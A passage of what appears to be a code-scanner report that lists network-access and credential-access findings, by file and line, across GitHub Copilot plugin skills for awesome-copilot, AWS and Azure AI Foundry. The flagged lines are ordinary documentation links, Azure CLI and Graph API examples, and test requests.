    | Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent
  • Network accessline 96
    | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff
  • Network accessline 101
    - [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`.
  • Network accessline 102
    - [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable
  • Network accessline 103
    - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents.
  • Network accessline 111
    - [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md)
  • Network accessline 112
    - [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)

harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md

  • Network accessline 21
    - Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst
  • Network accessline 22
    - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>.
  • Network accessline 23
    - Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 29
    2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t
  • Network accessline 30
    3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe
  • Network accessline 31
    4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 79
    | Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions
  • Network accessline 80
    | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi
  • Network accessline 81
    | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. |
  • Network accessline 82
    | [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi
  • Network accessline 83
    | [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a
  • Network accessline 111
    | Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti
  • Network accessline 113
    | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep |
  • Network accessline 121
    - [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked.
  • Network accessline 122
    - [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru
  • Network accessline 123
    - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`.
  • Network accessline 131
    - [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md)
  • Network accessline 132
    - [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md)
  • Network accessline 133
    - [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md)
  • Network accessline 134
    - [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md)
  • Network accessline 135
    - [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})

harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md

  • Network accessline 21
    - Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files
  • Network accessline 22
    - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr
  • Network accessline 30
    1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 32
    3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r
  • Network accessline 33
    4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar
  • Network accessline 34
    5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`.
  • Network accessline 66
    https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md
  • Network accessline 71
    - https://github.com/github/awesome-copilot/tree/main/skills/gh-attach
  • Network accessline 72
    - https://github.com/github/awesome-copilot/tree/main/skills/aspire
  • Network accessline 73
    - https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer
  • Network accessline 99
    | Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta
  • Network accessline 100
    | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati
  • Network accessline 101
    | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities |
  • Network accessline 102
    | [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill |
  • Network accessline 103
    | [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a
  • Network accessline 114
    - [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md.
  • Network accessline 124
    - [awesome-copilot skills README](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md)
  • Network accessline 125
    - [awesome-copilot skills folder](https://github.com/github/awesome-copilot/tree/main/skills)
  • Network accessline 126
    - [gh-attach skill](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach)
  • Network accessline 127
    - [aspire skill](https://github.com/github/awesome-copilot/tree/main/skills/aspire)
  • Network accessline 128
    - [terraform-azurerm-set-diff-analyzer skill](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer)

harness/github-copilot/plugins/aws-cloud-development/skills/aws-cost-optimize/SKILL.md

  • Network accessline 31
    **Process**: 1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
  • Network accessline 32
    1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`    - Fetch the AWS Well-Architected Cost Optimization pillar summary
  • Network accessline 33
    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`

harness/github-copilot/plugins/aws-cloud-development/skills/aws-resource-health-diagnose/SKILL.md

  • Network accessline 22
    - The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud
  • Network accessline 24
    - Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed.
  • Network accessline 168
    - [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)

harness/github-copilot/plugins/aws-cloud-development/skills/aws-well-architected-review/SKILL.md

  • Network accessline 22
    - IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. 
  • Network accessline 24
    - Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed.
  • Network accessline 211
    - [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/SKILL.md

  • Network accessline 124
    - [Azure API Management AI gateway capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 125
    - [Token limit policy](https://learn.microsoft.com/azure/api-management/llm-token-limit-policy)
  • Network accessline 126
    - [Semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 127
    - [Load balancing and circuit breaker for backends](https://learn.microsoft.com/azure/api-management/backends)

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/patterns.md

  • Network accessline 13
    - APIM instance deployed (use **azure-prepare** skill to deploy APIM — see [APIM deployment guide](https://learn.microsoft.com/azure/api-management/get-started-create-service-instance))
  • Network accessline 65
    az apim api import    --service-name <apim-name>    --resource-group <rg>    --api-id azure-openai-api    --path "openai"    --specification-format OpenApi    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs
  • Network accessline 69
    --path "openai" \   --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json"
  • Network accessline 70
    --specification-format OpenApi \   --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \   --service-url "
  • Network accessline 71
    --specification-url "https://raw.githubusercontent.com/Azure/azure-rest-api-specs/main/specification/cognitiveservices/data-plane/AzureOpenAI/inference/stable/2024-02-01/inference.json" \
  • Network accessline 81
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 82
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 83
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 116
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 117
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 118
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 119
    "https://aoai-westus.openai.azure.com"
  • Network accessline 124
    }" />     <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 125
    <set-backend-service base-url="@((string)context.Variables["backendUrl"] + "/openai")" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 126
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 134
    <set-variable name="backendUrl" value="@{         var backends = new [] {             "https://aoai-eastus.openai.azure.com",
  • Network accessline 135
    var backends = new [] {             "https://aoai-eastus.openai.azure.com",             "https://aoai-westus.openai.azure.com"
  • Network accessline 136
    "https://aoai-eastus.openai.azure.com",
  • Network accessline 137
    "https://aoai-westus.openai.azure.com"
  • Network accessline 177
    <base />     <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 178
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" /> </inbound>
  • Network accessline 179
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 216
    <set-backend-service backend-id="openai-backend" />     <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 217
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/policies.md

  • Network accessline 231
    <!-- 1. Authentication -->         <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 232
    <authentication-managed-identity resource="https://cognitiveservices.azure.com" />
  • Network accessline 309
    - [GenAI Gateway Capabilities](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities)
  • Network accessline 310
    - [APIM Policy Reference](https://learn.microsoft.com/azure/api-management/api-management-policies)
  • Network accessline 311
    - [AI-Gateway Samples](https://github.com/Azure-Samples/AI-Gateway)

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/sdk/azure-mgmt-apimanagement-py.md

  • Access to secretsline 17
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-ai-foundry/skills/apim-ai-gateway/references/troubleshooting.md

  • Network accessline 17
    | Managed identity not enabled on APIM | `az apim update --name <apim> --resource-group <rg> --set identity.type=SystemAssigned` | | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services Us
  • Network accessline 18
    | Missing RBAC role | `az role assignment create --assignee <apim-principal-id> --role "Cognitive Services User" --scope <aoai-resource-id>` | | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint
  • Network accessline 19
    | Wrong auth resource | Ensure `resource="https://cognitiveservices.azure.com"` (not the endpoint URL) |
  • Network accessline 94
    # Check cache-related headers in response curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 95
    curl -v -X POST "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 212
    # Send request with tracing curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 213
    curl -X POST "${GATEWAY_URL}/..." \
  • Network accessline 256
    # 3. Test endpoint curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 257
    curl -s -o /dev/null -w "%{http_code}" "${GATEWAY_URL}/openai/deployments/<deployment>/chat/completions?api-version=2024-02-01" \
  • Network accessline 268
    - [APIM Diagnostics](https://learn.microsoft.com/azure/api-management/diagnose-solve-problems)
  • Network accessline 269
    - [AI Gateway Monitoring](https://learn.microsoft.com/azure/api-management/genai-gateway-capabilities#monitoring-and-analytics)
  • Network accessline 270
    - [APIM Error Handling](https://learn.microsoft.com/azure/api-management/api-management-error-handling-policies)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/SKILL.md

  • Network accessline 66
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 67
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 68
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 69
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 70
    - [GitHub Models](https://docs.github.com/github-models)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
    - [Azure AI Foundry model catalog and router](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 36
    - [GitHub Models](https://docs.github.com/github-models)
  • Network accessline 37
    - [Azure API Management for AI](https://learn.microsoft.com/azure/api-management/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-agentic-architecture-patterns/references/tools-and-mcp.md

  • Network accessline 34
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 35
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 36
    - [Azure AI Foundry Agent Service tools](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/SKILL.md

  • Network accessline 78
    - AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search)
  • Network accessline 79
    - Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-transcription-py.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-ai/references/sdk/azure-ai-translation-ts.md

  • Access to secretsline 14
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-api-center/SKILL.md

  • Network accessline 117
    - [Azure API Center](https://learn.microsoft.com/azure/api-center/)
  • Network accessline 118
    - [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis)
  • Network accessline 119
    - [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting)
  • Network accessline 120
    - [API Center and API Management](https://learn.microsoft.com/azure/api-center/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/access-and-network.md

  • Network accessline 32
    - [Authenticate to Azure Managed Redis with Microsoft Entra ID](https://learn.microsoft.com/azure/redis/entra-for-authentication)
  • Network accessline 33
    - [Azure Managed Redis network isolation](https://learn.microsoft.com/azure/redis/)
  • Network accessline 34
    - [DefaultAzureCredential](https://learn.microsoft.com/azure/developer/intro/azure-developer-create-resources)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/semantic-cache.md

  • Network accessline 39
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 40
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/user_guide/llmcache/)
  • Network accessline 41
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/session-store.md

  • Network accessline 27
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 28
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)

harness/github-copilot/plugins/azure-ai-foundry/skills/azure-managed-redis-cache/references/vector-memory.md

  • Network accessline 32
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/redis-vector-search)
  • Network accessline 33
    - [RedisVL vector queries](https://redis.io/docs/latest/integrate/redisvl/)
  • Network accessline 34
    - [Azure AI Search vector search](https://learn.microsoft.com/azure/search/vector-search-overview)

harness/github-copilot/plugins/azure-ai-foundry/skills/entra-agent-user/SKILL.md

  • Network accessline 72
    GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id}
  • Network accessline 88
    Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET `   -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 89
    Invoke-MgGraphRequest -Method GET    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 90
    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 102
    POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser
  • Network accessline 138
    Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 139
    -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 156
    PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref
  • Network accessline 160
    {   "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 161
    "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 168
    $managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}'
  • Network accessline 169
    Invoke-MgGraphRequest -Method PUT    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref"
  • Network accessline 170
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" `
  • Network accessline 183
    PATCH https://graph.microsoft.com/beta/users/{agent-user-id}
  • Network accessline 195
    GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits
  • Network accessline 204
    POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense
  • Network accessline 221
    # Set usage location Invoke-MgGraphRequest -Method PATCH `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 222
    Invoke-MgGraphRequest -Method PATCH    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>"
  • Network accessline 223
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 227
    $licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 228
    Invoke-MgGraphRequest -Method POST    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense"
  • Network accessline 229
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 303
    - [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ
  • Network accessline 304
    - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password.
  • Network accessline 312
    - [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities)
  • Network accessline 313
    - [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users)
  • Network accessline 314
    - [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals)
  • Network accessline 315
    - [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint)
  • Network accessline 316
    - [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities)
  • Network accessline 317
    - [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta)
  • Network accessline 318
    - [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)

harness/github-copilot/plugins/azure-ai-foundry/skills/foundry-agent-sync/SKILL.md

  • Network accessline 55
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 56
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 57
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 74
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 75
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 76
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 84
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 114
